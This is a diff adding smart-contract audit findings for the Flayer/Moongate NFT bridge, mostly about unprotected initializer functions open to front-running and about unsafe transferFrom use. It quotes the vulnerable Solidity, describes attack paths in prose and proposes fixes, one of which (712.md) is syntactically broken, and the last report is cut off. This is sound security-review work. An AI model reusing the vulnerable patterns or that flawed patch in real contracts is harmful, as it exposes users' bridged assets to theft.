+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L71C1-L79C1
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+Add a access control that only owner/deployer can set the INFERNAL_RIFT_BELOW
\ No newline at end of file
diff --git a/008/414.md b/008/414.md
new file mode 100644
index 0000000..e7f99fc
--- /dev/null
+++ b/008/414.md
@@ -0,0 +1,46 @@
+Shiny Mint Lion
+
+Medium
+
+# InitializeERC721Bridgable can be front-running attack
+
+
+## Summary
+InitializeERC721Bridgable can be front-running attack, and set incorrect _erc721Bridgable(ERC721_BRIDGABLE_IMPLEMENTATION) address.
+
+## Vulnerability Detail
+
+`InitializeERC721Bridgable` function first determines `ERC721_BRIDGABLE_IMPLEMENTATION` address to the address(0) and then set the value of `ERC721_BRIDGABLE_IMPLEMENTATION`:
+
+```solidity
+ function initializeERC721Bridgable(address _erc721Bridgable) external {
+ if (ERC721_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC721_BRIDGABLE_IMPLEMENTATION = _erc721Bridgable;
+ emit ERC721BridgableImplementationUpdated(_erc721Bridgable);
+ }
+```
+
+But the problem is that this function can be called by anyone, and an attacker can call this function by `front-running`.
+
+If `ERC721_BRIDGABLE_IMPLEMENTATION` is set to the attacker's address, the attacker can increment the function to transfer the NFT in `erc721Bridgable`.
+
+`InitializeERC1155Bridgable` and `InfernalRiftAbove.setInfernalRiftBelow` function also have the same problem.
+
+## Impact
+The `ERC721_BRIDGABLE_IMPLEMENTATION` is incorrectly set, causing the NFT to be stolen.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L119-L126
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L71-L78
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Only allow the owner called `InitializeERC721Bridgable`
\ No newline at end of file
diff --git a/008/475.md b/008/475.md
new file mode 100644
index 0000000..b3de8db
--- /dev/null
+++ b/008/475.md
@@ -0,0 +1,34 @@
+Muscular Pebble Walrus
+
+Medium
+
+# Anyone can call `setInfernalRiftBelow()`, DoSing the whole protocol
+
+## Summary
+Anyone can call `setInfernalRiftBelow()`, DoSing the whole protocol
+
+## Vulnerability Detail
+`setInfernalRiftBelow()` is used to set `INFERNAL_RIFT_BELOW`, which is used for sending NFTs from L1 to L2. But the problem is, it has missing access control.
+```solidity
+ function setInfernalRiftBelow(address _infernalRiftBelow) external {
+ if (INFERNAL_RIFT_BELOW != address(0)) {
+ revert RiftBelowAlreadySet();
+ }
+
+> INFERNAL_RIFT_BELOW = _infernalRiftBelow;
+ emit InfernalRiftBelowUpdated(_infernalRiftBelow);
+ }
+```
+Malicious user can set any address and the biggest problem is, it can't be changed again as there is a check.
+
+## Impact
+Complete protocol will be DoSed
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L71C1-L79C1
+
+## Tool used
+Manual Review
+
+## Recommendation
+Allow only deployed to call this function
\ No newline at end of file
diff --git a/008/604.md b/008/604.md
new file mode 100644
index 0000000..2e1f377
--- /dev/null
+++ b/008/604.md
@@ -0,0 +1,39 @@
+Noisy Carmine Starling
+
+High
+
+# attacker can set a malicious ERC721_BRIDGABLE_IMPLEMENTATION address to get nft
+
+### Summary
+
+attacker can set a malicious ERC721_BRIDGABLE_IMPLEMENTATION address , to get nft or Royalties
+
+### Root Cause
+
+```solidity
+function initializeERC721Bridgable(address _erc721Bridgable) external {
+ if (ERC721_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC721_BRIDGABLE_IMPLEMENTATION = _erc721Bridgable;
+ emit ERC721BridgableImplementationUpdated(_erc721Bridgable);
+ }
+```
+anyone can use this function, and set a malicious ERC721_BRIDGABLE_IMPLEMENTATION address,
+ ```solidity
+ if (amountToCross == 0) {
+ IERC721(params.collectionAddresses[i]).transferFrom(msg.sender, address(this), params.idsToCross[i][j]);
+ } else {
+ IERC1155(params.collectionAddresses[i]).safeTransferFrom(msg.sender, address(this), params.idsToCross[i][j], amountToCross, '');
+ }
+```
+ then use returnFromThreshold, a malicious L2Collection can be transferred indefinitely , attacker can get nft on layer1, The same is true for the initializeERC1155Bridgable function
+
+### Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol?plain=1#L103-L110
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol?plain=1#L181-L185
+
+### Impact
+
+The attacker gains All NFTs in a collection
diff --git a/008/605.md b/008/605.md
new file mode 100644
index 0000000..07c46d4
--- /dev/null
+++ b/008/605.md
@@ -0,0 +1,30 @@
+Noisy Carmine Starling
+
+Medium
+
+# setInfernalRiftBelow No function protection
+
+### Summary
+
+setInfernalRiftBelow No function protection cause InfernalRiftAbove contract use a wrong address
+
+### Root Cause
+```solidity
+function setInfernalRiftBelow(address _infernalRiftBelow) external {
+ if (INFERNAL_RIFT_BELOW != address(0)) {
+ revert RiftBelowAlreadySet();
+ }
+
+ INFERNAL_RIFT_BELOW = _infernalRiftBelow;
+ emit InfernalRiftBelowUpdated(_infernalRiftBelow);
+ }
+```
+,
+ anyone can call this function, to set a Malicious INFERNAL_RIFT_BELOW , it cause the L1_CROSS_DOMAIN_MESSENGER to send an incorrect message when calling function claimRoyalties . etc.
+
+### Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol?plain=1#L71-L78
+
+### Impact
+
+setInfernalRiftBelow No function protection cause InfernalRiftAbove contract use a wrong address, Leading to contract logic errors
\ No newline at end of file
diff --git a/008/622.md b/008/622.md
new file mode 100644
index 0000000..fb5912c
--- /dev/null
+++ b/008/622.md
@@ -0,0 +1,44 @@
+Bald Merlot Millipede
+
+Medium
+
+# `setInfernalRiftBelow()` function in moongate/src/InfernalRiftAbove.sol can be set by anyone due to lack of access control.
+
+### Summary
+
+**InfernalRiftBelow** contract is intended to be deployed on L2 and facilitate token transfer and it communicates to **InternalRiftAbove**, so after deployment of **InternalRiftabove** `setInfernalRiftBelow()` should be called to set address for the respective contract.
+However this function lacks access control and can be set by anyone as long as `INFERNAL_RIFT_BELOW` is `address(0)`. So an attacker would be able to set any arbitrary address rendering the contract disfunctinoal
+This also exposes function to the risk of frontrunning where malicious address can be set before legitimate one.
+
+### Root Cause
+
+Lack of access control in `setInfernalRiftBelow()`
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L71-L78
+
+### Internal pre-conditions
+
+`INFERNAL_RIFT_BELOW` is `address(0)`
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. `INFERNAL_RIFT_BELOW` is `address(0)` after **InfernalRiftAbove** contract is deployed.
+2. SCENARIO 1: attacker calls `setInfernalRiftBelow()` before contract owner and this value can no longer be changed.
+3. SCENARIO 2: attacker frontruns owners transaction and is able to call `setInfernalRiftBelow()` before owner.
+
+
+### Impact
+
+Invalid address will render the contract useless and would potentially require redployment.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement access control such that only trusted admin can call `setInfernalRiftBelow()` function.
\ No newline at end of file
diff --git a/008/634.md b/008/634.md
new file mode 100644
index 0000000..0284c0e
--- /dev/null
+++ b/008/634.md
@@ -0,0 +1,45 @@
+Bald Merlot Millipede
+
+Medium
+
+# `initializeERC721Bridgable()` && `initializeERC1155Bridgable()` function in **moongate/src/InfernalRiftBelow.sol** can be set by anyone due to lack of access control.
+
+### Summary
+
+**InfernalRiftBelow** contract is intended to be deployed on L2 and facilitate token transfer and it uses `initializeERC1155Bridgable()` and `initializeERC721Bridgable()` functions to set implementations for the repective standards.
+However this function lacks access control and can be set by anyone as long as `ERC721_BRIDGABLE_IMPLEMENTATION` is`address(0)` and `ERC1155_BRIDGABLE_IMPLEMENTATION` is `address(0)`.
+So an attacker would be able to set any arbitrary address and can potentailly introduce backdoors.
+This also exposes function to the risk of frontrunning where malicious address can be set before legitimate one.
+
+
+### Root Cause
+
+Lack of access control in `initializeERC721Bridgable()` && `initializeERC1155Bridgable()`.
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L103-L126
+
+### Internal pre-conditions
+
+- `ERC721_BRIDGABLE_IMPLEMENTATION` is `address(0)`
+- `ERC1155_BRIDGABLE_IMPLEMENTATION` is `address(0)`
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. `ERC721_BRIDGABLE_IMPLEMENTATION` is`address(0)` and `ERC1155_BRIDGABLE_IMPLEMENTATION` is `address(0)` after **InfernalRiftbelow** contract is deployed.
+2. SCENARIO 1: attacker calls `initializeERC721Bridgable()` and `initializeERC1155Bridgable()` before contract owner and this value can no longer be changed.
+3. SCENARIO 2: attacker frontruns owners transaction and is able to call above functions before owner.
+
+### Impact
+
+Addresses set by an Attacker can be malicious and implement backdoors into theselibraries and would potentially require redployment.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement access control such that only trusted admin can call `initializeERC721Bridgable()` and `initializeERC1155Bridgable()` functions.
\ No newline at end of file
diff --git a/008/706.md b/008/706.md
new file mode 100644
index 0000000..d456840
--- /dev/null
+++ b/008/706.md
@@ -0,0 +1,63 @@
+Winning Emerald Orca
+
+High
+
+# INFERNAL_RIFT_BELOW address can be HIghJacked By an Attacker
+
+## Summary
+
+The `InfernalRiftAbove` contract contains a critical vulnerability in its `setInfernalRiftBelow` function, allowing any user to set the `INFERNAL_RIFT_BELOW` address without access control. This can lead to unauthorized control over the contract's core functionality.
+
+## Relevant Links
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L71-L78
+
+## Vulnerability Detail
+
+The `setInfernalRiftBelow` function lacks access control, allowing any external actor to call it and set the `INFERNAL_RIFT_BELOW` address. The only check in place prevents the address from being changed once set, but does not restrict who can initially set it.
+
+```solidity
+ function setInfernalRiftBelow(address _infernalRiftBelow) external {
+ if (INFERNAL_RIFT_BELOW != address(0)) {
+ revert RiftBelowAlreadySet();
+ }
+
+ INFERNAL_RIFT_BELOW = _infernalRiftBelow;
+ emit InfernalRiftBelowUpdated(_infernalRiftBelow);
+}
+
+```
+
+
+## Impact
+
+An attacker can exploit this vulnerability by front-running the contract deployment transaction and setting the `INFERNAL_RIFT_BELOW` address to an address they control. This would give them complete control over the bridge's core functionality, potentially leading to:
+
+1. Theft of bridged assets
+2. Manipulation of bridge operations
+3. Permanent DoS of the bridge functionality
+4. The impact is severe as it compromises the entire bridge system's security and trustworthiness.
+
+
+
+## Tool used
+Manual Review
+
+
+## Recommendation
+
+Implement proper access control for the `setInfernalRiftBelow` function. This can be achieved by:
+
+- Adding an owner or admin role to the contract.
+- Using a modifier to restrict access to the function.
+
+```solidity
+ function setInfernalRiftBelow(address _infernalRiftBelow) external onlyOwner {
+ if (INFERNAL_RIFT_BELOW != address(0)) {
+ revert RiftBelowAlreadySet();
+ }
+
+ INFERNAL_RIFT_BELOW = _infernalRiftBelow;
+ emit InfernalRiftBelowUpdated(_infernalRiftBelow);
+ }
+```
+
diff --git a/008/712.md b/008/712.md
new file mode 100644
index 0000000..1fb5615
--- /dev/null
+++ b/008/712.md
@@ -0,0 +1,153 @@
+Happy Green Chimpanzee
+
+Medium
+
+# Unprotected initializer
+
+## Summary
+Consider protecting the initializer functions with modifiers.
+
+## Vulnerability Detail
+missing check for new Implementation and also there is not any modifier to restrict the initialisation
+
+## Code Snippet
+Found in src/InfernalRiftBelow.sol : [Line: 103](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L103)
+```solidity
+ function initializeERC721Bridgable(address _erc721Bridgable) external {
+ if (ERC721_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC721_BRIDGABLE_IMPLEMENTATION = _erc721Bridgable;
+ emit ERC721BridgableImplementationUpdated(_erc721Bridgable);
+ }
+```
+Found in src/InfernalRiftBelow.sol : [Line: 103](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L109)
+```solidity
+function initializeERC1155Bridgable(address _erc1155Bridgable) external {
+ if (ERC1155_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC1155_BRIDGABLE_IMPLEMENTATION = _erc1155Bridgable;
+ emit ERC1155BridgableImplementationUpdated(_erc1155Bridgable);
+ }
+```
+Missing check for remote token :
+
+Found in src/libs/ERC1155Bridgeable.sol :[Line: 53](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L53)
+```solidity
+ function initialize(uint96 _royaltyBps, uint256 _REMOTE_CHAIN_ID, address _REMOTE_TOKEN) external {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+
+ // If this function has already been called, prevent it from being called again
+ if (initialized) {
+ revert AlreadyInitialized();
+ }
+
+ // Set this contract to receive marketplace royalty
+ _setDefaultRoyalty(address(this), _royaltyBps);
+
+ // Set our remote chain info
+ REMOTE_CHAIN_ID = _REMOTE_CHAIN_ID;
+ REMOTE_TOKEN = _REMOTE_TOKEN;
+
+ // Prevent this function from being called again
+ initialized = true;
+ }
+ ```
+ Found in src/libs/ERC721Bridgeable.sol : [Line: 57](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC721Bridgable.sol#L57)
+ ```solidity
+ function initialize(
+ string memory _name,
+ string memory _symbol,
+ uint96 _royaltyBps,
+ uint256 _REMOTE_CHAIN_ID,
+ address _REMOTE_TOKEN
+ ) external {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+
+ // If this function has already been called, prevent it from being called again
+ if (initialized) {
+ revert AlreadyInitialized();
+ }
+
+ // Set our ERC721 metadata
+ name = _name;
+ symbol = _symbol;
+
+ // Set our remote chain info
+ REMOTE_CHAIN_ID = _REMOTE_CHAIN_ID;
+ REMOTE_TOKEN = _REMOTE_TOKEN;
+
+ // Set this contract to receive marketplace royalty
+ _setDefaultRoyalty(address(this), _royaltyBps);
+
+ // Prevent this function from being called again
+ initialized = true;
+ }
+```
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+
+ function initializeERC721Bridgable(address _erc721Bridgable)
+external
++ onlyOwner
+{
+ if (ERC721_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
++ if(_erc721Bridgable == address(0)){
++ revert AddreesZero(); // or any custom error
++ }
+ ERC721_BRIDGABLE_IMPLEMENTATION = _erc721Bridgable;
+ emit ERC721BridgableImplementationUpdated(_erc721Bridgable);
+ }
+
+ function initialize(
+ string memory _name,
+ string memory _symbol,
+ uint96 _royaltyBps,
+ uint256 _REMOTE_CHAIN_ID,
+ address _REMOTE_TOKEN
+ )
+external
++ onlyOwner {
+ if (msg.sender != INFERNAL_RIFT_BELOW) {
+ revert NotRiftBelow();
+ }
+
+ // If this function has already been called, prevent it from being called again
+ if (initialized) {
+ revert AlreadyInitialized();
+ }
+
+ // Set our ERC721 metadata
+ name = _name;
+ symbol = _symbol;
+
+
++ if(_REMOTE_TOKEN() == address(0)){
++ revert cutomError();
++
+ // Set our remote chain info
+ REMOTE_CHAIN_ID = _REMOTE_CHAIN_ID;
+ REMOTE_TOKEN = _REMOTE_TOKEN;
+
+ // Set this contract to receive marketplace royalty
+ _setDefaultRoyalty(address(this), _royaltyBps);
+
+ // Prevent this function from being called again
+ initialized = true;
+ }
+```
\ No newline at end of file
diff --git a/008/714.md b/008/714.md
new file mode 100644
index 0000000..dfd455f
--- /dev/null
+++ b/008/714.md
@@ -0,0 +1,83 @@
+Winning Emerald Orca
+
+High
+
+# Unprotected Initialization of ERC721 and ERC1155 Bridge Templates
+
+## Summary
+
+The `InfernalRiftBelow` contract contains two critical vulnerabilities in its `initializeERC721Bridgable` and `initializeERC1155Bridgable` functions. These functions lack access control, allowing any user to set the implementation addresses for ERC721 and ERC1155 bridgeable contracts. This can lead to unauthorized control over the bridge's core functionality and compromise the entire cross-chain NFT bridging mechanism.
+
+## Relevant Links
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L103-L110
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L119-L126
+
+## Vulnerability Detail
+
+Both `initializeERC721Bridgable` and `initializeERC1155Bridgable` functions can be called by any external actor to set the respective implementation addresses. The only check in place prevents the addresses from being changed once set, but does not restrict who can initially set them.
+
+```solidity
+ function initializeERC721Bridgable(address _erc721Bridgable) external {
+ if (ERC721_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC721_BRIDGABLE_IMPLEMENTATION = _erc721Bridgable;
+ emit ERC721BridgableImplementationUpdated(_erc721Bridgable);
+ }
+
+ function initializeERC1155Bridgable(address _erc1155Bridgable) external {
+ if (ERC1155_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC1155_BRIDGABLE_IMPLEMENTATION = _erc1155Bridgable;
+ emit ERC1155BridgableImplementationUpdated(_erc1155Bridgable);
+ }
+```
+
+
+## Impact
+
+An attacker can exploit these vulnerabilities by front-running the contract deployment transaction and setting the implementation addresses to contracts they control. This would give them complete control over the bridge's NFT handling mechanisms, potentially leading to:
+
+- Theft of bridged NFTs
+- Minting of unauthorized NFTs on the destination chain
+- Manipulation of NFT metadata and properties during bridging
+- Permanent DoS of the NFT bridging functionality
+- The impact is severe as it compromises the entire cross-chain NFT bridging system's security and trustworthiness. Given that the Moongate project is designed to operate on Ethereum mainnet and multiple EVM-compatible L2 chains, as mentioned in the README.md, this vulnerability could have far-reaching consequences across multiple networks.
+
+
+
+## Tool used
+Manual Review
+
+
+## Recommendation
+
+Implement proper access control for both `initializeERC721Bridgable` and `initializeERC1155Bridgable` functions. This can be achieved by:
+
+Adding an owner or admin role to the contract or Using a modifier to restrict access to these functions.
+
+Refactored Code
+
+```solidity
+ function initializeERC721Bridgable(address _erc721Bridgable) external onlyOwner {
+ if (ERC721_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC721_BRIDGABLE_IMPLEMENTATION = _erc721Bridgable;
+ emit ERC721BridgableImplementationUpdated(_erc721Bridgable);
+ }
+
+ function initializeERC1155Bridgable(address _erc1155Bridgable) external onlyOwner {
+ if (ERC1155_BRIDGABLE_IMPLEMENTATION != address(0)) {
+ revert TemplateAlreadySet();
+ }
+
+ ERC1155_BRIDGABLE_IMPLEMENTATION = _erc1155Bridgable;
+ emit ERC1155BridgableImplementationUpdated(_erc1155Bridgable);
+ }
+```
+
diff --git a/008/715.md b/008/715.md
new file mode 100644
index 0000000..d105726
--- /dev/null
+++ b/008/715.md
@@ -0,0 +1,46 @@
+Large Mauve Parrot
+
+Medium
+
+# Settings functions frontrun in Moongate
+
+### Summary
+
+_No response_
+
+### Root Cause
+
+The functions:
+- [InfernalRiftAbove::setInfernalRiftBelow()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L71)
+- [InfernalRiftBelow::initializeERC721Bridgable()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L103)
+- [InfernalRiftBelow::initializeERC1155Bridgable()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L119)
+
+are callable by anybody as long as the current addresses are not set to `address(0)`.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Flayer deploys the `InfernalRiftAbove` contract
+2. An attacker monitors the chain to know when the `InfernalRiftAbove` has been deployed
+3. Attacker calls the functions listed above in order to set wrong address
+
+### Impact
+
+- If an user bridges an ERC721/ERC1155 token while the wrong `INFERNAL_RIFT_BELOW` address is set the bridged tokens will be locked in the `InfernalRiftAbove` contract
+- If an user bridges an ERC721/ERC1155 token while the wrong `ERC721_BRIDGABLE_IMPLEMENTATION` address is set a malicious implementations will be deployed on L2, which would allow the attack to steal the bridged ERC721 tokens
+- If an user bridges an ERC721/ERC1155 token while the wrong `ERC1155_BRIDGABLE_IMPLEMENTATION` address is set a malicious implementations will be deployed on L2, which would allow the attack to steal the bridged ERC1155 tokens
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Allow the listed functions to only be called by admins and/or set their values in the constructor.
\ No newline at end of file
diff --git a/009/013.md b/009/013.md
new file mode 100644
index 0000000..46a41ba
--- /dev/null
+++ b/009/013.md
@@ -0,0 +1,30 @@
+Flaky Sable Hamster
+
+Medium
+
+# Using ERC721.transferFrom() instead of safeTransferFrom() may cause the user's NFT to lost
+
+## Summary
+Using ERC721.transferFrom() instead of safeTransferFrom() may cause the user's NFT to lost
+
+## Vulnerability Detail
+Locker:swap/redeem/swapBatch/withdrawToken doesn't use safe transferFrom for transferring NFT to user. In case if receiver doesn't support ERC721, token will be lost.
+
+As per the documentation of EIP-721:
+> A wallet/broker/auction application MUST implement the wallet interface if it will accept safe transfers.
+
+Ref: https://eips.ethereum.org/EIPS/eip-721
+
+## Impact
+The NFT may get stuck in the contract that does support ERC721.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L226
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L252
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L283
+
+## Tool used
+Manual Review
+
+## Recommendation
+Consider using safeTransferFrom() instead of transferFrom().
\ No newline at end of file
diff --git a/009/033.md b/009/033.md
new file mode 100644
index 0000000..9cb9a5c
--- /dev/null
+++ b/009/033.md
@@ -0,0 +1,27 @@
+Stable Pink Boa
+
+Medium
+
+# Unsafe Use of 'transfer()'/'transferFrom()' on ERC20
+
+## Summary
+Direct use of the 'transfer()' and 'transferFrom()' functions in ERC20 contracts may introduce vulnerabilities, especially in tokens that are not fully compliant with ERC20 standards. This can cause transaction failure and damage the reliability of the contract.
+
+## Vulnerability Detail
+Some tokens (like USDT) don't correctly implement the EIP20 standard and their `transfer/transferFrom` function returns void instead of a success boolean. Calling these functions with the correct EIP20 function signatures will always revert.
+
+## Impact
+
+- Loss of tokens
+- Transaction failure
+- Can damage the integrity and reliability of the contract
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L178
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+Recommend using OpenZeppelin's SafeERC20 versions with the safeTransfer and safeTransferFrom functions that handle the return value check as well as non-standard-compliant tokens.
\ No newline at end of file
diff --git a/009/037.md b/009/037.md
new file mode 100644
index 0000000..7821ff3
--- /dev/null
+++ b/009/037.md
@@ -0,0 +1,45 @@
+Stable Pink Boa
+
+Medium
+
+# Use safeTransferFrom() instead of transferFrom() for outgoing erc721 transfers
+
+## Summary
+It is recommended to use `safeTransferFrom()` instead of `transferFrom()` when transferring ERC721s out of the vault.
+
+## Vulnerability Detail
+The transferFrom() method is used instead of safeTransferFrom(), which I assume is a gas-saving measure. I however argue that this isn’t recommended because:
+
+ [OpenZeppelin’s documentation](https://docs.openzeppelin.com/contracts/4.x/api/token/erc721#IERC721-transferFrom-address-address-uint256-) discourages the use of `transferFrom()`; use `safeTransferFrom()` whenever possible
+ The recipient could have logic in the `onERC721Received()` function, which is only triggered in the `safeTransferFrom()` function and not in `transferFrom()`.
+
+It helps ensure that the recipient is indeed capable of handling ERC721s.
+
+## Impact
+
+While unlikely because the recipient is the function caller, there is the potential loss of NFTs should the recipient be unable to handle the sent ERC721s.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L249
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L252
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L355
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L182
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L106
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftAbove.sol#L232
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L138
+
+
+
+
+
+## Tool used
+Manual Review
+
+## Recommendation
+Use `safeTransferFrom()` when sending out the NFT from the vault.
\ No newline at end of file
diff --git a/009/039.md b/009/039.md
new file mode 100644
index 0000000..889e200
--- /dev/null
+++ b/009/039.md
@@ -0,0 +1,130 @@
+Rhythmic Malachite Rabbit
+
+Medium
+
+# Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom
+
+### Summary
+
+Use safeTransfer/safeTransferFrom consistently instead of transfer/transferFrom
+
+### Root Cause
+
+The transferFrom() method is used instead of safeTransferFrom() for token transfers.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+transferfrom() is directly used to send tokens in many places in the contract instead of safeTransferFrom() and the return value is not checked. If the token send fails, it will cause a lot of serious problems.
+
+### PoC
+
+As seen below, `transferFrom()` is used in multiple instances for token transfers, instead of `safeTransferFrom()`.
+
+[ProtectedListings.sol#L170](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L170)
+
+```solidity
+ function _depositNftsAndReceiveTokens(CreateListing calldata _listing, uint _tokensReceived) internal {
+ // We need to move the tokens used by the listings into this contract to then
+ // be moved to the {Locker} in a single `depost` call.
+ IERC721 asset = IERC721(_listing.collection);
+ for (uint i; i < _listing.tokenIds.length; ++i) {
+ @> asset.transferFrom(msg.sender, address(this), _listing.tokenIds[i]);
+ }
+ }
+```
+
+[ProtectedListings.sol#L392](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L392)
+
+```solidity
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ // Check if we are decreasing debt
+ if (_amount < 0) {
+ // The user should not be fully repaying the debt in this way. For this scenario,
+ // the owner would instead use the `unlockProtectedListing` function.
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+
+ // Take tokens from the caller
+ @> collectionToken.transferFrom(
+ msg.sender,
+ address(this),
+ absAmount * 10 ** collectionToken.denomination()
+ );
+ ...
+ }
+
+ }
+```
+[ProtectedListings.sol#L407](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L407)
+```solidity
+ else {
+ // Ensure that the user is not claiming more than the remaining collateral
+ if (_amount > debt) revert InsufficientCollateral();
+
+ // Release the token to the caller
+@> collectionToken.transfer(
+ msg.sender,
+ absAmount * 10 ** collectionToken.denomination()
+ );
+ ...
+ }
+```
+
+### Mitigation
+
+The protocol should consider using safeTransferFrom consistently for token transfers.
+```solidity
+ function _depositNftsAndReceiveTokens(CreateListing calldata _listing, uint _tokensReceived) internal {
+ // We need to move the tokens used by the listings into this contract to then
+ // be moved to the {Locker} in a single `depost` call.
+ IERC721 asset = IERC721(_listing.collection);
+ for (uint i; i < _listing.tokenIds.length; ++i) {
++ asset.safeTransferFrom(msg.sender, address(this), _listing.tokenIds[i]);
+ }
+ ...
+ }
+```
+
+```solidity
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ // Check if we are decreasing debt
+ if (_amount < 0) {
+ // The user should not be fully repaying the debt in this way. For this scenario,
+ // the owner would instead use the `unlockProtectedListing` function.
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+
+ // Take tokens from the caller
++ collectionToken.safeTransferFrom(
+ msg.sender,
+ address(this),
+ absAmount * 10 ** collectionToken.denomination()
+ );
+ ...
+ }
+ }
+```
+
+```solidity
+ else {
+ // Ensure that the user is not claiming more than the remaining collateral
+ if (_amount > debt) revert InsufficientCollateral();
+
+ // Release the token to the caller
++ collectionToken.safeTransfer(
+ msg.sender,
+ absAmount * 10 ** collectionToken.denomination()
+ );
+ ...
+ }
+```
\ No newline at end of file
diff --git a/009/168.md b/009/168.md
new file mode 100644
index 0000000..fc2426a
--- /dev/null
+++ b/009/168.md
@@ -0,0 +1,73 @@
+Stable Chili Ferret
+
+Medium
+
+# Use `safeTransferFrom` Instead of `transferFrom` for ERC721
+
+### Summary
+
+This bug report is about an issue with the use of the transferFrom method for ERC721 token transfers. The use of this method is discouraged and it is recommended to use the safeTransferFrom method instead. This is because the transferFrom method cannot check if the receiving address knows how to handle ERC721 tokens.
+
+
+### Root Cause
+
+Use the `transferFrom()` method to transfer ERC721.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
